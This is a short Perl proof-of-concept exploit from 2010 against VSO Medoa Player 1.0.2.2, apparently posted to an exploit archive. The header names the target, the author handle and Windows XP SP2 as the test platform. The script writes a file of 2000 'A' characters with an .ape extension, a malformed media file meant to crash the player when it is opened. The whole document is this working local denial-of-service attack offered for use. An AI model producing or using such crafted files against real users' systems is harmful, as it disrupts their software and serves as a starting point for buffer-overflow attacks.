#!usr/bin/perl#Exploits title :[VSO Medoa Player Version 1.0.2.2 Local Denial Of Services poc]#Date : [2010/01/02]#Aouther : [SarBoT511]#downloads :[www.vso-software.fr]#tested on :[win xp sp2]#VSO Medoa Player Version 1.0.2.2$file="SarBoT511.ape";$boom="A" x 2000;
open(myfile,">>$file");
print myfile $boom;
close(myfile);
print "Done ..! ~#";